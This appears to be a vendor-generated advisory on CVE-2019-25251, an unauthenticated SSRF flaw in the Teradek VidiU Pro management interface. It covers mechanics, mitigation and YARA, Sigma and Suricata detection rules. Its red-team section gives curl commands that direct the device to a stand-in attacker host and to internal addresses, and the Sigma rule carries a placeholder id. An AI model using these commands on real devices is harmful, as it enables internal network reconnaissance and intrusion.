CVE-2019-25251
Executive Summary
CVE-2019-25251 is a server-side request forgery (SSRF) vulnerability in the Teradek VidiU Pro management interface, version 3.0.3. The flaw allows an attacker to manipulate the url and xml_url GET parameters, enabling them to bypass firewalls, perform network enumeration, and trigger external HTTP requests to arbitrary destinations. This vulnerability is particularly dangerous in environments where the VidiU Pro is used for live video streaming, as it can be leveraged to pivot into internal networks or exfiltrate data. No official patch has been released, making this a persistent risk for unpatched devices.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a hardware device.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, but based on the description, a reasonable assessment would be:
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
- Base Score: 5.3 (Medium)
The threat level is elevated due to the lack of a patch and the potential for network reconnaissance and data exfiltration.
Deep Dive & Mechanics
The vulnerability resides in the management interface of the Teradek VidiU Pro. The device exposes endpoints that accept url and xml_url GET parameters without proper validation. An attacker can craft a request like:
http://<target-ip>/cgi-bin/param.cgi?url=http://attacker-controlled-server.com
This causes the server to make an HTTP request to the attacker's server, effectively bypassing firewall restrictions. The SSRF can be used to:
- Scan internal networks (e.g., 192.168.1.0/24)
- Access internal services (e.g., databases, admin panels)
- Exfiltrate data via DNS or HTTP
- Trigger actions on internal systems
The vulnerability is unauthenticated, meaning no credentials are required to exploit it.
Vulnerable vs. Patched Code
Vulnerable Code (3.0.3):
The management interface directly uses user-supplied url and xml_url parameters in HTTP requests without sanitization.
# Pseudocode of vulnerable logic
def handle_request():
url = request.GET.get('url')
if url:
response = requests.get(url) # No validation
return response.content
Patched Code (N/A): No official patch exists. A hypothetical fix would involve:
- Whitelisting allowed domains/IPs
- Validating the URL scheme (e.g., only allow
http://andhttps://) - Blocking private IP ranges (e.g., 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
# Hypothetical patched logic
def handle_request():
url = request.GET.get('url')
if url and is_valid_url(url):
response = requests.get(url)
return response.content
else:
return "Invalid URL", 400
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a Teradek VidiU Pro with firmware 3.0.3 in an isolated network.
- Set up an attacker machine with a web server (e.g., Python's
http.server) to receive requests. - Use a tool like
curlor Burp Suite to send malicious requests.
Exploitation Steps:
- Identify the target device (e.g., via Shodan or network scan).
- Send a request to trigger SSRF:
curl "http://<target-ip>/cgi-bin/param.cgi?url=http://attacker-ip:8080/test" - Observe the incoming request on the attacker's server.
- For internal network enumeration, use:
curl "http://<target-ip>/cgi-bin/param.cgi?url=http://192.168.1.1:80"
No Exploit-DB code was provided.
Blue Team
Detection:
- Monitor for unusual outbound HTTP requests from the VidiU Pro device.
- Look for requests to unknown or suspicious IPs/domains.
- Use network segmentation to limit the device's outbound access.
Mitigation:
- Disable the management interface if not needed.
- Apply firewall rules to restrict outbound traffic from the device.
- Upgrade to a patched firmware version if available (none currently).
Indicators of Compromise (IOCs)
- Network Traffic:
- Outbound HTTP requests from the VidiU Pro to arbitrary IPs/domains.
- Requests containing
urlorxml_urlparameters in the URI.
- Logs:
- Access logs showing
GET /cgi-bin/param.cgi?url=...entries.
- Access logs showing
- Device Behavior:
- Unexpected network connections to internal or external hosts.
Detection Engineering
YARA Rule
rule CVE_2019_25251_SSRF {
meta:
description = "Detects SSRF attempts against Teradek VidiU Pro"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2019-25251"
strings:
$s1 = "url=" ascii nocase
$s2 = "xml_url=" ascii nocase
$s3 = "/cgi-bin/param.cgi" ascii nocase
condition:
all of them
}
Sigma Rule
title: Teradek VidiU Pro SSRF Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SSRF attempts against Teradek VidiU Pro management interface
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- 'url='
- 'xml_url='
cs-uri-stem|contains: '/cgi-bin/param.cgi'
condition: selection
falsepositives:
- Legitimate use of the management interface
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2019-25251 Teradek VidiU Pro SSRF Attempt"; flow:to_server; content:"/cgi-bin/param.cgi"; http_uri; content:"url="; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the management interface or restrict access via firewall rules.
- Network Segmentation: Place the VidiU Pro in a separate VLAN with limited outbound access.
- Monitoring: Implement detection rules (YARA, Sigma, Suricata) to alert on SSRF attempts.
- Vendor Contact: Reach out to Teradek for a firmware update. If none is available, consider replacing the device.
- Workaround: If the management interface must be used, proxy requests through a secure gateway that validates URLs.
Report generated by Valters IT DevSecOps & CTI Division